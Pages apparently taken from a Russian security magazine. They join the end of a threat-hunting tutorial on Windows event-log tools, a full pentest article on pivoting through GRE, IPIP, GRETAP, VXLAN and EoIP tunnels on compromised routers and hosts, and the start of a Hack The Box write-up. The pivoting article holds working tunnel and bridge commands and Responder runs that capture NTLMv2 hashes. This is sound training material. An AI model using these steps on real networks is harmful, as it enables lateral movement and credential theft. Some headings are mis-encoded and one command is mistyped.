.\DeepBlue.ps1 .\evtx\password-spray.evtx

Детектирование password spraying

Здесь заметно, что были попытки войти в 41 уникальную учетную запись


с одним паролем. И заодно мы видим подробное описание результата.
Еще можем глянуть активность в командной строке и оболочке PowerShell
(есть поиск обфусцированных скриптблоков, запусков через PsExec и другие
возможности).

.\DeepBlue.ps1 .\evtx\psattack-security.evtx | Out-GridView

Suspicious Command Line

Также DeepBlue позволяет проводить аудит служб, то есть искать попытки


создания служб и другие подозрительные события.
Полученные после обработки данные можно вывести в разных удобных
форматах для дальнейшего анализа: CSV, Out-GridView, Format-Table, HTML,
JSON, XML.
Кроме того, утилита позволяет проводить исследование на работающей
системе, без экспорта журналов событий.
Среди достоинств DeepBlue — возможность добавлять новые проверки
непосредственно в код сценария на PowerShell. К примеру, можно с лег-
костью дописать детект password spraying в Active Directory
(события 4771 и 4768).
Но из недостатков я бы выделил отсутствие возможности указать в качес-
тве аргумента путь к директории с журналами. Это значит, что таким инстру-
ментом будет сложно пользоваться, если объем логов занимает несколько
гигабайтов. Зато следующая утилита нам в этом поможет.

CHAINSAW

Chainsaw — инструмент для первичного реагирования на инциденты и поиска


артефактов в журналах событий Windows, таблицах Master File Table и System
Resource Utilization Monitor. Для автоматизации поиска угроз используются
Sigma-правила, но этим дело не ограничивается. Можно искать отдельные
слова, используя регулярные выражения, прочесывать события при помощи
кастомных правил, использовать кастомные правила для агрегации получен-
ных записей о срабатывании. Есть другие интересные фичи, которые я покажу
дальше.
Попробуем возможности на практике. Представь, что в рамках реагирова-
ния на инцидент нам отгрузили события в количестве 333 штук (131 Мбайт).
Изучать журналы по отдельности имеет смысл, только если мы уже знаем,
какой вектор атаки и êîãäà она была совершена. Это не наш случай. Сейчас
необходимо взглянуть на ситуацию с высоты птичьего полета, поэтому вос-
пользуемся утилитой Chainsaw в режиме охоты на подозрительные
активности.
Чтобы включить режим охоты на угрозы, зададим аргумент hunt, укажем
правила Sigma (флаг -s) и каталог с правилами (можно использовать
как директорию, так и репозиторий на GitHub). Также нужно задать каталог
с данными об инциденте (журналы событий Windows) и путь к файлу YAML
для маппинга правил Sigma и событий (он нужен для сопоставления полей
из сырых событий и Sigma-правил):

.\chainsaw.exe hunt CyberPolygon_Forensic_Artifacts\winevt\Logs/ -


s ..\..\..\sigma\ --mapping ..\..\mappings\sigma-event-logs-all.yml

Видим в консоли PowerShell приветствие Chainsaw и сообщение об успешной


загрузке журналов событий и Sigma-правил. Утилита работает быстро и выда-
ет таблицу с такими столбцами:
• временная метка;
• результат поиска на основе правил Sigma;
• число найденных событий (Count);
• Event.System.Provider;
• EID;
• Record ID;
• Computer;
• Event Data.

Chainsaw, обнаружение на основе Sigma

Самое интересное здесь — это детект на основе Sigma-правил.

Chainsaw, обнаружение на основе Sigma

Например, на рисунке выше видно время, сработавшие правила детекта —


Sigma Rules для событий PowerShell с EID 4104, а также путь, из которого был
запущен сценарий PowerShell, и его начальное содержимое.
Важно помнить, что аудит PowerShell (события 4103 и 4104) по умолчанию
отключен, рекомендуется его включать. Как это сделать, можно почитать в до-
кументации.
В конце таблицы получим список детектов по Sigma-правилам и количес-
тво проанализированных журналов (пустые журналы были отброшены).

Chainsaw — результаты

Если мы знаем, что подозрительная активность (судя по детекту) была свя-


зана со сценариями PowerShell, а именно с событиями с EID 4104, мы с лег-
костью можем взглянуть на сырые события и их скриптблоки, воспользовав-
шись вот такой командой:

.\chainsaw.exe search -t 'Event.System.EventID: =4104' CyberPolygon_


Forensic_Artifacts\winevt\Logs/

Поиск Event ID 4104

Поищем также события с EID 4103:

.\chainsaw.exe search -t 'Event.System.EventID: =4103' CyberPolygon_


Forensic_Artifacts\winevt\Logs/

Получаем три совпадения и узнаём, с какими аргументами запускались сце-


нарии.

Поиск Event ID 4103

А также наблюдаем начало тела скриптблока tmpA7Z2.ps1.


Кроме поиска по EID, можно использовать регулярные выражения. Давай
попробуем найти все события, связанные с запуском найденного сценария:

.\chainsaw.exe search -e 'tmpA7Z2.ps1' c56-CyberCorp\Downloads\


CyberPolygon_Forensic_Artifacts\winevt\Logs

Поиск по ключевому слову

Видим первое событие, связанное с запуском tmpA7Z2.ps1.


Давай посмотрим на весь сценарий, для этого служит флаг --full.
Для удобства работы выведем содержимое в формате CSV.

.\chainsaw.exe hunt CyberPolygon_Forensic_Artifacts\winevt\Logs/ -


s ..\..\..\sigma\ --mapping ..\..\mappings\sigma-event-logs-all.yml
--full --csv -o c56-CyberCorp.csv

Полученный файл открываем в Timeline Explorer.

Текст скриптблока PS в Timeline Explorer

Здесь видим информацию о запуске сценария, а также текст скриптблоков.


Еще одна фича Chainsaw — возможность использовать кастомные пра-
вила для агрегации и группировки найденных артефактов. С утилитой
в наборе уже идут некоторые кастомные правила (ищи их в каталоге rules):
поиск срабатываний антивирусного ПО (Kaspersky, MS Defender, Sophos
и прочие), хакерских техник вроде lateral movement, затирания и искажения
событий и другие.
Чтобы воспользоваться этими правилами, применим дополнительный
флаг -r и укажем директорию с правилами /rules:

chainsaw.exe hunt -r rules/ Lateral Movement/ -s sigma/rules --


mapping mappings/sigma-event-logs-all.yml

После обработки событий получаем отдельную таблицу с событиями, сви-


детельствующими о горизонтальном перемещении (или подозрениях
на него).

События удаленного входа, подпадающие под правила Lateral Movement

Также получили таблицу с событиями, связанными с очисткой журнала


Security.

Очистка журнала событий Security

Далее видим обнаружения исключительно по общим Sigma-правилам, где


в том числе нашлась служба Cobalt Srike Beacon.

Обнаружение сервиса Cobalt Strike

На этом возможности Chainsaw не заканчиваются. Еще можно работать


с Master File Table (MFT), System Resource Utilization Monitor (SRUM), выводить
таймлайны событий, а после их визуализировать. Но эти функции я пред-
лагаю тебе изучить самостоятельно. А мы тем временем познакомимся с нас-
тоящим комбайном для обработки большого количества событий — от десят-
ков до сотен гигабайт.

YAMATO SECURITY TOOLS

Правильно и âîâðåìÿ настроенная политика аудита позволяет получить


много полезной информации, сократить время реагирования на инцидент
и время расследования. О том, какие события необходимо собирать и какой
аудит включить, можно прочитать, например, в репозитории Yamato Security.
Там же ты найдешь bat-файл для активации политик аудита.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ПРАКТИКУЕМСЯ В THREAT HUNTING

HAYABUSA

Hayabusa — утилита для быстрой генерации таймлайнов и поиска угроз


в событиях.
Еще Hayabusa умеет определять геопозицию по IP, для этого добавь флаг
-G (--GeoIP), но прежде необходимо создать аккаунт сервиса MaxMind. Такая
возможность особенно полезна при определении нестандартных подклю-
чений. Утилита также способна анализировать систему в live-режиме.
Как и Chainsaw, Hayabusa использует Sigma-правила (с ней идет
более 3500 правил), а также использует для детектирования собственные
правила, написанные в виде YAML. Это почти то же самое, что и Sigma-пра-
вила, но с доработками, которые не поддерживаются Sigma. Как писать свои
правила, подробно описано в документации.
Еще один плюс утилиты — вывод обработанных событий в формате,
который прекрасно понимает утилита визуализации Timesketch (о том, что
это за утилита и как ее развернуть, можно почитать на сайте разработчика
или в статье «Используем Timesketch для работы с таймлайнами Plaso»).
Чтобы получить такой вывод, используй флаг --RFC-3339, задающий фор-
мат вывода временных меток, а также укажи профиль (-p timesketch-
verbose) и вывод времени в формате UTC (флаг -U):

.\hayabusa-2.9.0-win-x64.exe csv-timeline -d E:\CyberDefenders\c56-


CyberCorp\Downloads\CyberPolygon_Forensic_Artifacts\winevt\Logs --
RFC-3339 -o timesketch-import_c56.csv -p timesketch-verbose -U -C -F

Результат работы Hayabusa

На выходе, кроме сработавших кастомных правил (Rule Authors), получаем


имена компьютеров и оценку критичности событий.

Если событий много, их можно разделить


по компьютерам и уровню критичности событий,
а также тегам (теги здесь — тактики по MITRE
в духе attack.<tech_name>, например
attack.persistence). Таким образом работу
легко распределить между членами команды
реагирования.

Информация о срабатываниях агрегируется в таблицу с уровнями критич-


ности и видом детекта, по которому удобно искать в Timesketch.

Общая таблица правил обнаружений и критичности алертов

Загрузим получившийся отчет в Timesketch. Здесь можно искать по техникам


и примененным утилитам, к примеру попробуем найти «PsExec Lateral
Movement» (наименование было взято из таблицы после обработки событий
в Hayabusa).

Поиск по технике PsExec Lateral Movement в Timesketch

Видно таймлайн для событий и сами события. Заглянем внутрь любого из них
и увидим скомпрометированный хост, EID, MitreTags и MitreTactics — что очень
удобно, к тому же по всем полям можно искать в Timesketch.

Чтобы сократить время поиска вредоносной активности в большом количес-


тве событий, можно воспользоваться флагами --proven-rules, --EID-
filter, --enable-unsupported-rules. Флаг --remove-duplicate-data
поменяет поля дублирующихся событий на DUP. При этом они будут учи-
тываться, но в вывод не попадут.
Давай выведем в консоли таймлайн с частотой детекта, используя
перечисленные флаги:

.\hayabusa-2.9.0-win-x64.exe csv-timeline -d Y:\Ransomware31012023\


KapeEvidences\C\Windows\System32\winevt\logs --proven-rules --EID-
filter --enable-unsupported-rules --visualize-timeline --remove-
duplicate-data

Построение Timeline обнаружений в консоли

Подпавшие под правила события окрашиваются в разные цвета из таблицы


Results, а их детали можно найти над графиком.

Маркировка обнаружений по уровням критичности (high и critical)

С таким инструментом скорость обработки событий увеличивается в разы,


но не стоит забывать, что выходные данные дают лишь первоначальную кар-
тину случившегося и механизм может не обнаруживать некоторые события,
оставляя им уровень low.

Пропущенные обнаружения (помечено как low)

Поэтому на основе общих правил необходимо писать свои правила детек-


тирования и переходить к более тщательному анализу, сужая временную зону
поиска. Для этого используй флаги --timeline-start, --timeline-end, --
timeline-offset.
Давай сделаем это и оставим только детекты уровня critical:

.\hayabusa-2.9.0-win-x64.exe csv-timeline -d Y:\Ransomware31012023\


KapeEvidences\C\Windows\System32\winevt\logs --proven-rules --EID-
filter --enable-unsupported-rules --visualize-timeline --remove-
duplicate-data --timeline-start "2023-02-08 00:00:00 +03:00" --
timeline-end "2023-02-08 16:58:51 +03:00" -m critical

Утилита отработала в разы быстрее (на малом объеме событий будет


не слишком заметно) и выдала частотный график за указанный промежуток
времени, а из событий остались только те, что помечены как критичные.

Сокращение зоны поиска

Для сужения области поиска можно использовать и другие флаги, например


исключить хосты или оставить только один целевой хост (для этого есть флаги
--include-computer и --exclude-computer). То же самое можно проделы-
вать и с событиями по их Event ID.
Еще один хороший прием при поиске артефактов в событиях — исполь-
зовать pivot-keywords-list. На выходе получим список уникальных данных
для детектирования подозрительной активности. Поля, которые будут извле-
каться при поиске, можно найти по такому пути:

Hayabusa_dir\rules\config\pivot_keywords.txt

Среди полей при настройках по умолчанию будут имена пользователей, хос-


тов, IP-адреса, процессы (LOLBINS и так далее) и другие артефакты:

.\hayabusa-2.9.0-win-x64.exe pivot-keywords-list -d Y:\


Ransomware31012023\KapeEvidences\C\Windows\System32\winevt\logs

Поиск с использованием pivot-keywords-list

На рисунке выше выведен список процессов, которые запускались на хосте.


Еще одна фишка Hayabusa — это наличие интеграции с Velociraptor, что
позволяет собирать и сразу анализировать артефакты.
Также есть возможность работать не только с файлами с расширением
.evtx, но и с файлами в формате JSON и JSONL. Чтобы найти другие интерес-
ные возможности Hayabusa, рекомендую заглянуть в ее богатую докумен-
тацию. Мы же перейдем к следующему инструменту, созданному в Yamato
Security.

TAKAJO

Прежде чем использовать Takajo, нужно подготовить таймлайны при помощи


Hayabusa:

.\hayabusa-2.9.0-win-x64.exe json-timeline -d KapeEvidences\C\


Windows\System32\winevt\logs -L -o ramsomware_timeline.jsonl

Теперь можно анализировать события входа в Takajo:

./takajo.exe timeline-logon -t .\ramsomware_timeline.jsonl -o


ransomware_logon.csv

Анализ событий входа с помощью Takajo

Забираем все IP-адреса из обработанных Hayabusa данных:

./takajo.exe list-ip-addresses -t ..\hayabusa-2.9.0-win-64-bit\


cybercorp.jsonl -o cybercorp_ipaddr.txt

Извлечение публичных IP-адресов из событий

По умолчанию берутся только публичные IP-адреса, для включения приватных


нужно использовать флаг -p.
Потом можно будет проверить эти IP на VirusTotal:

./takajo.exe vt-ip-lookup -a <YOUR_API_KEY> -I .\cybercorp_ipaddr.


txt -o vt-ip-lookup.csv -r 1000 -j vt-ip-lookup.json

Автоматизированная проверка извлеченных IP на VirusTotal

То же можно сделать и с другими индикаторами компрометации: доменами


и хеш-суммами исполняемых файлов (если событие было получено
от Sysmon).
Takajo умеет выводить таймлайны подозрительных процессов (timeline-
suspicious-processes) и строить дерево процессов на основе событий Sysmon
(необходимо указать processGuid).

ÂÛÂÎÄÛ

Описанные в статье утилиты при умелом использовании позволяют сущес-


твенно сократить время, нужное на реагирование и поиск угроз. Однако
нельзя полагаться только на инструментарий и забывать, что техники ата-
кующих постоянно совершенствуются, поэтому для успешного расследова-
ния правила обнаружения тоже нужно улучшать. В идеале специалист
по реагированию должен уметь сам готовить и дорабатывать такие правила,
а также быть в курсе новейших техник и инструментов, которые применяются
атакующими.
ВЗЛОМ

В современном стеке протоколов TCP/IP


есть множество протоколов туннелиро-
вания. Обычно они используются для рас-
ширения сетей продакшена, построения
инфраструктуры. Но в моем исследовании я Caster
Network Security Expert
буду использовать их как пентестерский @wearecaster

инструмент.

Pivoting — это комплекс мероприятий, в рамках которого атакующий эска-


лирует свое присутствие в сети. Пивотинг — это часть постэксплуатации, то
есть действий после получения первичного доступа к системе. Существует
множество способов пивотинга, но в моем ресерче речь пойдет именно
о протоколах туннелирования, то есть сценарии, где атакующий продвигается
по сети с помощью технологий туннелирования. В этой статье я продемонс-
трирую пивотинг на уровнях L2 и L3.

Статья имеет ознакомительный характер и пред-


назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре-
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.

Все эти методики скорее экзотические, однако я покажу, в каких случаях их


можно использовать в сетях продакшена. Учти, что эти техники требуют имен-
но прав администратора на скомпрометированных машинах, так как без это-
го не получится напрямую взаимодействовать с сетевыми интерфейсами
и настройками туннелей.

TUN VS TAP

Для туннельного пивотинга используются специальные виртуальные сетевые


драйверы. Различают два вида VPN-интерфейсов:
• TUN — виртуальный сетевой драйвер, который используется для постро-
ения L3-туннелей. Работает на сетевом уровне, оперируя IP-пакетами;
• TAP — виртуальный сетевой драйвер, который эмулирует Ethernet. Работа-
ет на канальном уровне, оперируя Ethernet-кадрами.

Если атакующий стремится перемещаться по подсетям во время пивотинга,


скорее всего, он будет использовать драйвер TUN, однако, если атакующий
нуждается в проведении атак канального уровня, ему необходим именно TAP-
интерфейс, именно L2-туннель. Пентестер может спросить: «А почему у меня
не работает Responder? Туннель же есть». Но на практике не все так просто,
и необходимо учитывать свои потребности в плане проведения атак. Оба
этих драйвера будут участвовать здесь на протяжении всей статьи.

ÎÑÒÎÐÎÆÍÎÑÒÜ ÏÐÈ ÀÄÐÅÑÀÖÈÈ ÍÀ TAP-ÈÍÒÅÐÔÅÉÑÅ

При работе с целевой сетью через TAP будь осторожен с получением адреса
на TAP-интерфейс с помощью DHCP. По DHCP может прилететь новая
информация о шлюзе по умолчанию, что иногда приводит к разрыву сетевой
связности. Как только ты запустишь dhclient, второй командой удаляй новый
маршрут по умолчанию:

sudo dhclient -v tap0; sudo route del default

GRE (L3)

GRE (Generic Routing Encapsulation) — одно из самых популярных решений


при построении туннелей site-to-site между организациями. Это самос-
тоятельный протокол, имеющий собственный заголовок и не опирающийся
на TCP/UDP. Разработан инженерами Cisco, но поддерживается всеми вен-
дорами. Его главный принцип работы — это инкапсуляция полезной нагрузки,
позволяющая достичь адресата. В основе его работы лежит три сущности:
• GRE-заголовок — содержит разные параметры и идентификатор инкапсу-
лируемого протокола;
• Delivery-заголовок — содержит адреса источника и назначения, при этом
используются публичные адреса из интернета (согласно конфигурации
на пограничных маршрутизаторах), по факту выполняет функцию доставки
данных;
• пассажир — непосредственно сами данные.

GRE можно использовать как инструмент пивотинга, позволяющий атакающе-


му получить доступ к подсети на уровне L3. Целевыми устройствами могут
быть:
• пограничный маршрутизатор (например, Cisco IOS или RouterOS);
• взломанный сервер на Linux.

Я покажу пример именно с пограничным роутером Cisco, хотя сама кон-


цепция настройки GRE глобально не меняется. Дизайн лабораторной сети
для демонстрации техник — на диаграмме ниже.

Лабораторная сеть

Это простой пример для демонстрации. Атакующий и пограничный роутер


здесь имеют белые адреса, а за самим роутером находятся три VLAN-сег-
мента:
• 10.10.200.0/24;
• 10.10.220.0/24;
• 10.10.240.0/24.

В этом сценарии атакующий построит GRE-туннель между собой и погранич-


ным роутером, а затем сквозь сам роутер поверх GRE-туннеля сможет вза-
имодействовать с тремя сегментами и расширить свое присутствие в сети.
Настройка на стороне атакующего (я выбрал Kali Linux) выглядит сле-
дующим образом:

sudo ip link add name gretunnel type gre local 218.123.134.80 remote
128.78.23.45
sudo ip addr add 10.10.10.1/24 dev gretunnel
sudo ip link set dev gretunnel up

Обрати внимание на адресацию 10.10.10.0/24. Это внутренняя адресация


в GRE-туннеле, нужная для его корректной работы.
Теперь настраиваем пограничный роутер Cisco:

NightmareBorder# conf t
NightmareBorder(config)# interface tunnel 10
NightmareBorder(config-if)# tunnel source 128.78.23.45
NightmareBorder(config-if)# tunnel destination 218.123.134.80
NightmareBorder(config-if)# ip address 10.10.10.2 255.255.255.0
NightmareBorder(config-if)# no shutdown
NightmareBorder(config-if)# end
NightmareBorder# write mem

Работоспособность GRE-туннеля, пинг в сторону Cisco IOS

GRE-туннель активен, теперь самое время прописать маршруты до целевых


сегментов. Атакующий, оказавшись на пограничном роутере (сценарий пос-
тэксплуатации), может сам изучить таблицу маршрутизации и узнать, до каких
сегментов ему писать маршруты. В лабораторной сети этих сегментов три:

sudo route add -net 10.10.200.0 netmask 255.255.255.0 gw 10.10.10.2


sudo route add -net 10.10.220.0 netmask 255.255.255.0 gw 10.10.10.2
sudo route add -net 10.10.240.0 netmask 255.255.255.0 gw 10.10.10.2

Шлюзом для этих подсетей выступает удаленная сторона GRE-туннеля


(10.10.10.2), то есть мы таким образом прописываем маршруты сквозь пог-
раничный роутер, как и предполагалось в сценарии. После настройки мар-
шрутов атакующий может взаимодействовать с этими сегментами и раз-
вивать новые векторы атак.

Процесс TCP-сканирования внутри туннеля GRE

Как мы видим, TCP-сегменты достигают целевой сети 10.10.200.0/24,


на скриншоте ты также можешь заметить заголовок GRE, благодаря которому
и работает пивотинг.

IPIP (L3)

IPIP (IP in IP) — туннель сетевого уровня L3, он очень похож на протокол GRE,
но сама инкапсуляция происходит во второй IP-заголовок. Такой туннель
прост в эксплуатации и работает в режиме «IP over IP». С помощью IPIP ата-
кующий также может построить L3-туннель сквозь взломанный хост. В сце-
нарии с IPIP целью будет взломанный сервер на Debian. Предположим, что
на той же машине есть второй интерфейс с адресацией 192.168.252.0/24
(Warehouse).

Схема сети

Настройка атакующей машины для IPIP выглядит следующим образом, здесь


ничего экстраординарного:

sudo ip link add name ipiptunnel type ipip local 218.123.134.80


remote 128.78.23.45
sudo ip addr add 10.10.10.1/24 dev ipiptunnel
sudo ip link set dev ipiptunnel up

На взломанном сервере с Debian настройка такая же, но наоборот:

sudo ip link add name ipiptunnel type ipip local 128.78.23.45 remote
218.123.134.80
sudo ip addr add 10.10.10.2/24 dev ipiptunnel
sudo ip link set dev ipiptunnel up

Теперь IPIP-туннель между атакующим и взломанным сервером становится


активным и атакующий сможет развивать атаки на сеть 192.168.252.0/24
(Warehouse):

sudo route add -net 192.168.252.0 netmask 255.255.255.0 gw 10.10.10.2

TCP-сканирование внутри IPIP-туннеля

Как видно на скриншоте, полезная нагрузка при TCP-сканировании


при помощи Nmap была инкапсулирована в IP-заголовок, что доказывает
характеристику протокола IPIP (IP over IP).

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ИСПОЛЬЗУЕМ ПРОВАЙДЕРСКИЕ
ПРОТОКОЛЫ ДЛЯ ПИВОТИНГА

GRETAP (L2)

GRETAP — это TAP-интерфейс, который работает в режиме GRE. На самом


деле протокол GRE может транспортировать не только IP-трафик, но и
Ethernet-кадры. В таком случае значение Protocol Type будет равно 0x6558.
Так что сейчас речь идет о L2-туннелировании. L2-туннели позволяют зло-
умышленнику проводить атаки канального уровня, использовать Responder,
mitm6 и прочие средства. В нашем сценарии атакующий уже получил доступ
к некой машине на Debian, именно с нее он будет строить L2-туннель
с помощью GRETAP-интерфейсов.
Этот вектор туннелирования будет развиваться из ранее созданного сце-
нария с GRE-туннелем, то есть возникает туннель в туннеле. Потенциально же
такая атака может происходить из любой точки инфраструктуры, как раз бла-
годаря GRE-инкапсуляции, которая будет транспортировать всю полезную
нагрузку. Сама ситуация «туннель в туннеле» бывает не всегда, это просто
пример из головы.

Схема сети с GRETAP

С настройками здесь будет посложнее по сравнению с L3-туннелями. В дело


вступают bridge (бриджи/мосты). Это специальные логические устройства,
куда помещаются физические интерфейсы. Чтобы обеспечить себя L2-дос-
тупом, атакующий должен создать мост на взломанной машине, а также
поместить туда ее физический интерфейс и виртуальный TAP-интерфейс,
причем необходимо соблюдать порядок команд и исполнить их как одну
с помощью точки с запятой. Конфигурации L2-туннелей не прощают ошибок:
если ты где-то напутал, есть риск потерять доступ к скомпрометированной
машине, а это очень большой удар для пентестера.
Начнем с настроек на стороне атакующего. GRETAP-туннель меж-
ду 10.10.10.1 (Kali) и 10.10.220.3 (целевая машина Debian с рутовым дос-
тупом):

sudo ip link add name thegretap type gretap local 10.10.10.1 remote
10.10.220.3
sudo ip link set dev thegretap up

На стороне взломанной машины настройка происходит в несколько этапов:


• создание GRETAP-интерфейса и его активация;
• создание бриджа;
• добавление в бридж GRETAP-интерфейса;
• удаление существующего адреса с интерфейса и его перемещение
на bridge (это делают, чтобы не потерять сетевую связность, так как после
добавления интерфейса в бридж сам интерфейс подчиняется бриджу,
и по-хорошему бы стоит назначить адрес на сам бридж);
• добавление физического интерфейса ОС в бридж;
• активация работы бриджа;
• назначение адреса шлюза по умолчанию (когда мы удаляли адрес
из интерфейса — исчезал и маршрут по умолчанию).

sudo ip link add name thegretap type gretap local 10.10.220.3 remote
10.10.10.1
sudo ip link set dev thegretap up

sudo brctl addbr bridge


sudo brctl addir bridge thegretap
sudo ip addr del 10.10.220.3/24 dev eth0; sudo ip addr add 10.10.220.
3/24 dev bridge; sudo brctl addif bridge eth0; sudo ip link set dev
bridge up; sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.220.
254

Теперь на GRETAP-интерфейсе атакующего пошел движ. Мы видим здесь


присутствие протокола STP — это уже доказывает, что мы обеспечили себя
именно L2-туннелем, так как STP — протокол канального уровня.

Трафик на GRETAP-интерфейсе

Теперь необходимо получить адрес на GRETAP-интерфейс из пространс-


тва 10.10.220.0/24.

sudo dhclient -v tap0; sudo route del default

Успешно полученный адрес на TAP-интерфейсе

На этом настройка GRETAP подходит к концу, атакующий теперь может поз-


волить себе атаки канального уровня.

sudo responder -I thegretap

Перехваченный NTLMv2-SSP по GRETAP-туннелю

Таким образом можно провести L2-пивотинг с помощью GRETAP-интерфей-


сов.

VXLAN (L2)

VXLAN (Virtual EXtensible LAN) — сетевой протокол, позволяющий строить L2-


туннели поверх UDP (UDP/4789). VXLAN-пивотинг тоже может развиваться
из любой точки инфраструктуры, но я повторю ситуацию «туннель в туннеле»,
где атакующий попал внутрь сети с помощью GRE. Опять же не зацикливайся
на этом, это просто мой пример. Мне было удобнее собирать для тебя прак-
тический мануал, находясь в той же лабораторной сети в EVE-NG.
Машина атакующего и скомпрометированная машина будут VTEP’ами.
VTEP (Virtual Tunnel Endpoint) — устройства, на которых строится и терминиру-
ется туннель VXLAN, они занимаются инкапсуляцией и деинкапсуляцией
VXLAN-заголовков.

VXLAN-туннелирование

Приступим к настройке туннеля между атакующим (Kali Linux, 10.10.10.1)


и целевой Debian-машиной (10.10.220.2). Также назначим VNI (это иден-
тификатор VXLAN-туннеля), он будет равен 10. UDP-порт назначения с обеих
сторон одинаковый — 4789. VXLAN может работать в двух режимах: multipoint
и point-to-point, я выберу второй вариант.

sudo ip link add name thevxlan type vxlan id 10 local 10.10.10.1


remote 10.10.220.2 dstport 4789
sudo ip link set thevxlan up

На стороне целевой машины c Debian VXLAN настраивается так же, однако


придется снова попотеть над настройкой бриджа, как это было с GRETAP.

sudo ip link add name thevxlan type vxlan id 10 local 10.10.220.2


remote 10.10.10.1 dstport 4789
sudo ip link set thevxlan up

sudo brctl addbr bridge


sudo brctl addir bridge thevxlan
sudo ip addr del 10.10.220.3/24 dev eth0; sudo ip addr add 10.10.220.
3/24 dev bridge; sudo brctl addif bridge eth0; sudo ip link set dev
bridge up; sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.220.
254

На этом настройка VXLAN с обеих сторон заканчивается, на VXLAN-


интерфейсе атакующего мы видим трафик протоколов канального уровня
(STP, CDP), что доказывает получение именно L2-доступа.

Трафик на VXLAN-интерфейсе атакующего

Затем получаем адрес на интерфейсе VXLAN с последующим удалением


шлюза по умолчанию.

sudo dhclient -v tap0; sudo route del default

Полученный адрес на VXLAN-интерфейсе

И в этот раз не побрезгую запустить Responder.

Перехваченный NTLMv2-SSP по VXLAN-туннелю

EOIP (L2)

EoIP (Ethernet over IP) — это проприетарный протокол MikroTik, позволяющий


строить L2-туннели поверх интернета, но для этого используется GRE-
инкапсуляция. По факту EoIP — это абсолютно то же самое, что и GRETAP-
интерфейсы в Linux, различия лишь в Proto Type (для EoIP в GRE это значение
0x6400, для GRETAP-туннелей — 0x6558).
При постэксплуатации RouterOS (именно эта система используется
на оборудовании MikroTik) атакующий может построить L2-туннель между
собой и целевым бриджем с помощью EoIP, однако для работы EoIP в дистри-
бутивах Linux нужен модуль eoip. Атакующему достаточно создать EoIP-
интерфейс в RouterOS, затем поместить его внутрь бриджа (в 90% случаях
в настройках RouterOS используются бриджи).
На своей стороне атакующему достаточно собрать модуль из репозитория
и запустить интерфейс, при этом создав TAP-интерфейс для корректной
работы модуля от katlogic.

Сеть с пограничным RouterOS

Атакующий из интернета может оказаться в целевой сети на уровне L2, но это


крайне специфический сценарий и имеет право на существование только
в момент постэксплуатации.
Настройки на стороне атакующего выглядят следующим образом: соз-
дается TAP-интерфейс, запускается модуль, туннелю задается ID 100:

sudo ip tuntap add mode tap tap0


sudo ip link set tap0 up
sudo ./eoip tap0 218.123.134.80 128.78.23.45:100

На стороне RouterOS аналогично, но при этом нужно поместить созданный


EoIP-интерфейс в существующий бридж внутри RouterOS для получения L2-
доступа. Тут используется версия RouterOS v6:

/interface eoip add name=thenightmare local-address=128.78.23.45


remote-address=218.123.134.80 tunnel-id=100
/interface bridge port add interface=thenightmare bridge=LAN

После этих настроек EoIP-туннель будет установлен. На TAP-интерфейсе ата-


кующего уже есть трафик, адрес по DHCP получен.

Трафик на TAP-интерфейсе внутри EoIP

Отработавший Responder внутри EoIP

Таким образом можно провести своеобразный пивотинг сквозь RouterOS


и проводить атаки канального уровня. Вектор крайне необычный, однако есть
шанс, что им можно будет воспользоваться в корпоративных сетях.

ÏÈÂÎÒÈÍÃ ÏÐÎÒÈÂ WINDOWS

Как ты заметил, все описанные выше приемы продемонстрированы именно


на Linux. Почему так получилось? Потому что десктопные редакции Windows
не поддерживают протоколы туннелирования вроде GRE и VXLAN. Возможно,
их поддержка есть в Windows Server, но в эту тему я не углублялся. Однако
и здесь есть решение, хоть и довольно экзотическое.
В июле этого года я сделал «ремикс» статьи «Пингвин-супершпион»
в исполнении s0i37. Мне пришла в голову мысль развернуть виртуальный
маршрутизатор CHR на VirtualBox внутри самой Windows. Так я провел L2-
пивотинг и атаки канального уровня в целевой сети, используя хост
с Windows. Метод скорее экспериментальный, но работает. Виртуальный
CHR поддерживает протоколы EoIP, VXLAN, IPIP, GRE и другие.

Вот как это выглядело на бумаге

ÂÛÂÎÄÛ

В своем небольшом исследовании я продемонстрировал несколько техник


пивотинга с использованием провайдерских протоколов. Это концепция
в духе «living off the land»: я просто использовал особенности сетевых про-
токолов и добился импакта для атакующей стороны. При этом я не исполь-
зовал сторонние пентестерские утилиты. Методы крайне специфические, но,
если ты понимаешь всю картину и знаешь матчасть, у тебя не возникнет
проблем и эти приемы приведут к успеху.
ВЗЛОМ

В этом райтапе я продемонстрирую технику


TTY hijacking, которая позволяет захватить
сессию терминала суперпользователя. Так-
же проэксплуатируем path traversal
для получения доступа к исходному коду RalfHacker
hackerralf8@gmail.com
приложения на Node.js, украдем сессию
пользователя через создание cookie и при-
меним слепую инъекцию для получения
конфиденциальной информации.

Нашей целью будет захват тренировочной машины Download с площадки


Hack The Box. Уровень ее — сложный.

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в файл /etc/hosts:

10.10.11.226 download.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Сканер нашел два открытых порта:


• 22 — служба OpenSSH 8.2p1;
• 80 — веб-сервер Nginx 1.18.0.

Заглянем на сайт.

Главная страница сайта

ÒÎ×ÊÀ ÂÕÎÄÀ

Изучая сайт, находим форму загрузки файлов.

Страница /les/upload

Просматривая этот запрос в Burp History, увидим типичную для приложения


на Node.js форму cookie.

Запрос в Burp History

Авторизуемся на сайте, декодируем значение download_session и про-


